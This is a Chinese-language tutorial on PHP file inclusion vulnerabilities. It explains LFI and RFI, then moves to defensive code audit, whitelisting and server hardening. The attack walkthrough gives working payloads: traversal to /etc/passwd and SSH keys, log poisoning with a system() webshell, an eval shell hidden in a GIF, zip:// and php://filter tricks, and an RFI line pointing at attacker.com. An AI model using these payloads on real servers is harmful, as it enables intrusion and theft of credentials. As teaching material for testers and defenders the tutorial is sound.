
1. 项目概述从“包含”到“沦陷”的攻防博弈文件包含漏洞一个在Web安全领域经久不衰的经典议题。它不像SQL注入那样直接窃取数据也不像XSS那样在用户端弹窗但它往往扮演着更致命的“跳板”角色——一个看似无害的读取文件功能可能成为攻击者直通服务器核心的隐秘通道。无论是本地文件包含LFI还是远程文件包含RFI其本质都是应用程序在动态包含文件时未对用户输入进行充分过滤导致攻击者能够操控包含路径读取敏感文件甚至执行任意代码。我处理过不少因为文件包含漏洞导致整站沦陷的应急响应案例。攻击者往往从一个不起眼的参数入手比如?pageabout.php通过路径遍历读取/etc/passwd接着利用日志文件、会话文件或上传临时文件写入Webshell最终完全控制服务器。这个过程环环相扣充满了技巧性。而随着PHP等语言中各种伪协议如php://filter,zip://,phar://的“助攻”文件包含的利用方式变得更加多样和隐蔽甚至能绕过一些基础的过滤措施。本篇文章我们就深入这个“通用漏洞”的腹地。我会带你拆解LFI和RFI的核心原理手把手演示如何利用编码算法如Base64、旋转编码来绕过WAF或过滤规则并最终落脚到代码审计层面告诉你如何在源码中精准定位和修复这类问题。无论你是刚接触Web安全的初学者还是想深化漏洞理解的安全从业者这篇文章都将提供一套从理论到实战的完整视角。2. 漏洞原理深度拆解为什么“包含”会出问题要理解文件包含漏洞首先得明白Web应用为什么会需要“包含”文件。这源于代码复用的需求。想象一下一个网站有几十个页面每个页面都有相同的头部导航栏、尾部版权信息。聪明的开发者不会把这些HTML代码在每个页面都复制粘贴一遍而是会把这些公共部分写成独立的文件比如header.php,footer.php然后在每个页面里通过一个函数“包含”进来。在PHP中最常见的包含函数有四个include(),require(),include_once(),require_once()。它们的区别主要在于处理包含失败的方式和是否重复包含但漏洞产生的根源是相同的它们都接受一个动态的文件路径作为参数。2.1 LFI与RFI的核心区别本地文件包含LFI攻击者能够包含并读取服务器本地的文件。这个“本地”指的是Web服务器操作系统上的文件系统。攻击场景参数完全可控或部分可控且服务器未禁止访问超出Web目录的文件。危害读取系统敏感文件如/etc/passwd,/proc/self/environ、配置文件数据库连接信息、应用程序源码等。关键点LFI能否进一步转化为代码执行取决于能否找到或创造出一个包含可执行代码的文件在服务器上并让应用包含它。这通常需要结合其他漏洞或利用服务器特性如日志注入。远程文件包含RFI攻击者能够包含一个远程服务器上的文件如http://attacker.com/shell.txt并且目标服务器会将该远程文件的内容当作PHP代码来执行。攻击场景除了输入可控还需要一个更关键的条件PHP配置中的allow_url_include选项设置为On默认是Off。这个条件在现代PHP环境中越来越难以满足。危害直接执行远程恶意代码获取Webshell危害性极高。现状由于安全意识的提升和默认配置的收紧纯粹的RFI漏洞在互联网上已相对少见但在内部网络或特定配置环境下仍可能遇到。两者的根本区别在于包含资源的来源。LFI是“向内”挖利用服务器已有的资源RFI是“向外”引从外部引入攻击载荷。从防御难度上看关闭allow_url_include就能基本杜绝RFI而LFI的防御则需要更精细的输入过滤和路径控制。2.2 伪协议给文件包含插上“翅膀”PHP提供了一系列封装协议它们像是一个个特殊的“文件系统”可以访问不同的数据流。在文件包含的语境下这些协议成了攻击者绕过防御的利器。最需要关注的是以下几个php://filter这是LFI利用中最常青的协议。它本身不执行代码但可以对数据进行读写前的过滤转换。经典利用php://filter/convert.base64-encode/resourceindex.php。这行代码会让PHP以Base64编码的形式读取index.php的源码并输出。为什么有用因为直接包含.php文件其中的PHP代码会被服务器执行我们看不到源码。而通过convert.base64-encode过滤器我们拿到的是编码后的文本解码后即可获得清晰的源代码用于后续的代码审计寻找更多漏洞。其他过滤器除了base64还有string.rot13ROT13编码、string.toupper等可用于简单的编码转换或测试过滤器是否被允许。zip://与phar://这两个协议常用于绕过文件上传限制实现“文件包含文件上传”的组合攻击。利用逻辑假设网站不允许上传.php文件但允许上传.zip或图片。攻击者可以创建一个ZIP压缩包里面包含一个名为shell.php的Webshell然后将这个压缩包后缀改为.jpg上传。上传成功后通过文件包含漏洞使用zip:///path/to/uploaded.jpg%23shell.php注意#需要URL编码为%23来包含并执行压缩包内的PHP文件。phar://协议原理类似用于包含PHARPHP归档文件中的内容。data://这是另一个可能用于执行代码的协议它允许直接在URI中嵌入数据。例如data://text/plain,?php phpinfo();?。它的生效同样依赖于allow_url_include配置为On因此常与RFI条件一同考虑。注意伪协议的利用高度依赖于PHP版本和配置。在实际测试中需要逐一尝试。php://filter的利用条件最为宽松因此也最常见。3. 利用技巧与编码绕过实战知道了原理我们来看看攻击者具体怎么玩。文件包含的利用过程就是一个与防御规则“斗智斗勇”的过程。3.1 基础利用路径遍历与敏感文件读取这是LFI最直接的利用方式。假设有一个URLhttp://target.com/index.php?filenews.php。尝试目录穿越将参数改为../../../../etc/passwd。这里的../表示上一级目录通过多次使用尝试跳出Web根目录访问系统文件。使用绝对路径如果知道Web目录的绝对路径如/var/www/html可以直接尝试/etc/passwd但包含函数通常会将相对路径基于当前脚本所在目录解析直接绝对路径可能无效取决于代码实现。常见敏感文件清单/etc/passwd确认漏洞存在所有用户可读。/etc/shadow读取哈希通常需要root权限很难。~/.bash_history,~/.ssh/id_rsa读取用户历史命令和私钥。../config.php,../../config/database.php读取应用配置文件。/proc/self/environ包含环境变量如果其中存在HTTP_USER_AGENT等用户可控字段可尝试注入代码。日志文件如/var/log/apache2/access.log通过User-Agent注入PHP代码再包含该日志文件以执行代码。3.2 编码绕过的艺术当简单的../被WAF或过滤函数拦截时编码绕过就上场了。其核心思想是让攻击载荷在到达后端应用逻辑时还原成可被解析的有效形式。URL编码这是最基本的。../可以被编码为%2e%2e%2f或..%2f。双重编码也可能有效%252e%252e%252f%25是%本身的编码。Base64编码的妙用主要与php://filter协议结合。我们之前提到用convert.base64-encode读取源码。反过来如果过滤了php关键字呢可以用Base64编码整个协议字符串吗不行因为php://这部分需要被PHP识别为协议头。但有一种场景如果代码是include($_GET[file] . .php);即强制添加后缀。我们可以传入php://filter/convert.base64-decode/resourcePD9waHAgcGhwaW5mbygpOz8%2b其中PD9waHAgcGhwaW5mbygpOz8%2b是?php phpinfo();?的Base64编码。convert.base64-decode过滤器会先解码这段字符串还原出PHP代码然后再将其作为资源包含。但这里有个巨大坑点php://filter在解码时会忽略非Base64字符。而我们传入的字符串里/、:、都不是标准Base64字符集A-Z,a-z,0-9,,/里的这会导致解码失败。因此这种利用方式对载荷的纯净度要求极高实战中成功率不高更常用于证明漏洞存在或传递简单信息。旋转编码ROT13php://filter/convert.string.rot13/resource?cuc cucvasb();?。ROT13编码下php变成了cucphpinfo()变成了cucvasb()。包含时过滤器会将其旋转回来变回可执行的PHP代码。这可以绕过一些简单的基于关键字的黑名单过滤。3.3 组合技从文件读取到代码执行单纯的读文件危害有限攻击者的终极目标是执行命令。日志文件注入找到Web服务器的访问日志路径如Apache的/var/log/apache2/access.log。构造一个请求在User-Agent、Referer或Cookie中插入PHP代码例如User-Agent: ?php system($_GET[‘cmd’]);?。利用LFI漏洞去包含这个日志文件?file../../../../var/log/apache2/access.log。如果日志文件内容被当作PHP解析那么我们在User-Agent里注入的代码就会执行。此时再传入cmdid就能执行系统命令了。实操心得日志文件通常很大包含可能导致进程超时或内存耗尽。最好先通过LFI读取日志文件末尾几行确认注入的代码是否成功写入可以使用tail命令的思路但需要找到日志文件的具体格式。另外现代服务器可能会对日志内容进行转义降低成功率。利用/proc文件系统Linux的/proc/self/environ文件包含了当前进程的环境变量其中HTTP_USER_AGENT等同样是用户可控的。通过污染这些环境变量例如修改User-Agent为PHP代码再包含/proc/self/environ文件也可能实现代码执行。注意事项/proc/self/environ的利用条件比较苛刻需要进程环境变量确实被污染且能被包含解析。很多时候它更适合作为信息泄露的源头查看数据库连接字符串等。利用临时文件/上传文件如果网站有文件上传功能但限制了后缀可以尝试上传一个内容为PHP代码的图片文件在文件头添加GIF89a等标识后面跟PHP代码。通过LFI漏洞结合zip://或phar://协议或者在某些特定条件下直接包含上传的临时文件需要知道临时文件名通常很难预测来执行代码。这是LFI与上传漏洞的经典结合。4. 代码审计在源头狩猎漏洞防御的起点是理解漏洞如何产生。从代码审计视角看文件包含漏洞的根源就两个字信任。程序过度信任了用户输入的文件路径。4.1 漏洞代码模式识别审计时我们像鹰一样搜索所有包含函数include,require,include_once,require_once的调用点并检查它们的参数是否用户可控。模式一直接拼接毫无防护$page $_GET[page]; include(/pages/ . $page . .php); // 危险这是最典型的漏洞模式。攻击者可以传入../../../etc/passwd拼接后变成/pages/../../../etc/passwd.php穿越目录。模式二使用了“安全”函数但被绕过$file str_replace(../, , $_GET[file]); // 试图过滤目录穿越 include($file);这里使用了简单的字符串替换。但攻击者可以输入....//过滤掉中间的../后剩下的部分又组合成了../。或者使用..\Windows路径分隔符进行绕过。这种过滤是不彻底的。模式三动态包含路径可控$module $_GET[module]; $action $_GET[action]; include($module . / . $action . .php); // 两个参数都可能可控这种模式给了攻击者更大的操作空间可能同时控制目录和文件名。模式四配置文件中的包含$config parse_ini_file(config.ini); include($config[template_path] . /header.php);如果config.ini文件内容用户可控例如通过文件上传覆盖那么template_path就可能被设置为恶意路径。4.2 安全的包含方案设计知道了漏洞模式修复就有了方向。核心原则白名单优于黑名单静态映射优于动态拼接。白名单机制这是最有效的方法。$allowed_pages [home, about, contact, news]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include(/pages/ . $page . .php); } else { include(/pages/error.php); }只允许包含预定义好的文件从根本上杜绝了路径操控。严格路径校验$base_dir /var/www/html/pages/; $file $_GET[file]; $real_path realpath($base_dir . $file . .php); // 检查最终真实路径是否以$base_dir开头 if ($real_path strpos($real_path, $base_dir) 0 is_file($real_path)) { include($real_path); } else { die(Invalid file request.); }使用realpath()函数解析出绝对路径并检查该路径是否在允许的基目录之下。注意realpath()会解析符号链接需结合实际情况使用。避免动态包含如果业务逻辑允许尽量使用静态的包含语句或自动加载机制如PSR-4彻底移除用户输入与包含路径的关联。设置PHP安全配置将open_basedir限制在Web应用必要的目录内防止跨目录访问。确保allow_url_include和allow_url_fopen设置为Off默认值关闭RFI的可能性。这些是加固服务器的最后一道防线不能替代代码层面的修复。4.3 审计工具与技巧手动审计固然重要但借助工具能提升效率。静态分析工具SAST如RIPS、SonarQube、Fortify等可以自动扫描源代码标记出可能存在文件包含漏洞的函数调用点。但它们会产生误报需要人工复核。代码搜索在IDE或命令行中使用grep -r include.*\$_ .或grep -r require.*\$_ .快速定位所有包含用户变量的包含语句。关注“入口点”审计时从用户可控的输入点$_GET,$_POST,$_COOKIE,$_REQUEST开始跟踪数据流Data Flow看它最终是否流入了包含函数的参数中。这个过程叫做“污点跟踪”。5. 实战攻防演练与深度排查理论说再多不如动手练一遍。我们构建一个简单的漏洞场景并模拟完整的攻击链。假设场景一个简单的PHP网站通过index.php?pagexxx来加载不同页面。 漏洞代码 (index.php)?php $page $_GET[page] ?? home; include(templates/ . $page . .php); ?5.1 攻击方视角步步为营信息收集与漏洞探测访问index.php?page../../../../etc/passwd。如果页面返回了passwd文件的内容说明存在LFI。尝试index.php?pagephp://filter/convert.base64-encode/resourceindex.php查看源码确认过滤逻辑。尝试代码执行日志注入首先需要知道日志路径。可以尝试常见路径或通过读取/proc/self/fd/下的文件描述符、包含错误信息等方式推测。假设日志路径是/var/log/apache2/access.log。使用curl或Burp Suite发送一个请求GET /index.php?pagetest HTTP/1.1 Host: target.com User-Agent: ?php system($_GET[c]);?然后包含日志文件index.php?page../../../../var/log/apache2/access.logcid。观察返回结果是否包含命令id的执行结果。利用伪协议获取Webshell如果日志注入失败或者想更稳定地控制。我们可以尝试利用php://input需要allow_url_includeOn或文件上传组合技。假设网站有头像上传功能只检查文件头。我们可以制作一个包含Webshell代码的GIF文件GIF89a后面跟?php eval($_POST[‘cmd’]);?上传后得到路径/uploads/avatar_123.jpg。通过包含zip://协议执行需要先将恶意文件压缩成ZIP再改后缀上传index.php?pagezip:///absolute/path/to/uploads/avatar_123.jpg%23shell.php。5.2 防守方视角加固与监控代码修复将漏洞代码改为白名单模式。?php $allowed [home, about, contact]; $page $_GET[page] ?? home; if (!in_array($page, $allowed)) { $page home; } include(templates/ . $page . .php); ?服务器加固在php.ini中设置open_basedir /var/www/html:/tmp根据实际情况调整将PHP可访问的文件系统限制在最小范围。确认allow_url_include Off。以非特权用户如www-data运行Web服务降低被读取敏感系统文件的风险。确保Web目录的权限设置正确避免日志文件、配置文件等被Web用户读取。WAF/IDS规则部署Web应用防火墙设置规则拦截包含../、..\、php://、zip://等危险字符串的请求。注意规则可能被编码绕过需要部署能进行多层解码检测的引擎。监控与告警监控Web日志中是否出现大量包含../、etc/passwd、php://filter等关键字的请求。监控服务器上是否在Web目录外创建了异常的可执行文件。对包含函数的调用进行审计日志记录记录包含的文件路径。5.3 常见问题排查实录在实际渗透测试或防御中你会遇到各种“奇怪”的情况。问题1包含路径明明存在却报“No such file or directory”错误排查思路检查当前工作目录getcwd()。包含函数的相对路径是基于当前工作目录的不一定是当前脚本所在目录。使用__DIR__魔术常量PHP 5.3来获取当前脚本的绝对目录然后拼接路径更可靠include(__DIR__ . ‘/templates/’ . $page . ‘.php’);。检查文件权限。Web进程用户如www-data是否有权读取目标文件检查路径中的空格或特殊字符是否被错误处理。URL中的空格可能被编码为或%20后端处理不当会导致路径解析错误。问题2使用了realpath()检查为什么还有漏洞可能原因检查逻辑有误。strpos($real_path, $base_dir) 0这个检查是必要的。如果只是比较是否相等攻击者可能通过符号链接symlink来绕过。确保使用的是严格比较且$base_dir以目录分隔符结尾如/var/www/html/防止部分匹配如/var/www/html_secret。问题3攻击包含日志文件没有成功执行代码可能原因日志文件内容被HTML转义了。查看页面源代码看?php ?标签是否被显示成了lt;?php ?gt;。日志文件的权限是只读追加append-onlyWeb进程无法读取。检查日志文件权限。注入的代码被日志系统截断或过滤了。有些日志组件会过滤特殊字符。最关键的一点包含日志文件时整个日志文件都会被当作PHP解析。如果日志文件开头部分有非PHP内容比如之前的日志记录会导致PHP解析器在遇到第一个非PHP标签如普通的HTTP日志行时就抛出语法错误而停止。因此注入的代码必须位于文件开头或者保证文件内容全部是有效的PHP代码这非常困难。更可行的办法是利用/proc/self/environ或/proc/self/fd/下的文件描述符这些文件通常更“干净”。问题4在CTF或靶场中遇到过滤了php关键字如何利用尝试方法大小写绕过PHP://input某些环境下不区分大小写。使用其他协议file://,http://如果允许zip://。利用编码php://filter被过滤可以尝试用php://filter的别名PHP没有别名。但可以考虑用convert.iconv.*过滤器进行字符集转换构造特殊payload但这需要深入理解过滤器链。终极思路如果只是过滤了“php://”这个字符串但允许包含本地文件那么重点回到传统的路径遍历和日志/环境变量注入上。文件包含漏洞的魅力在于它的“桥梁”作用。它很少单独造成毁灭性打击但一旦与其他漏洞如上传、配置错误、信息泄露结合就能形成致命的攻击链。作为防御者我们需要在代码层面筑牢白名单的堤坝在运维层面收紧权限和配置的篱笆。作为攻击者在授权测试中则需要灵活运用各种协议、编码和组合技巧去发现和验证这条隐秘的通道。攻防的博弈就在这一“包”一“防”之间持续上演。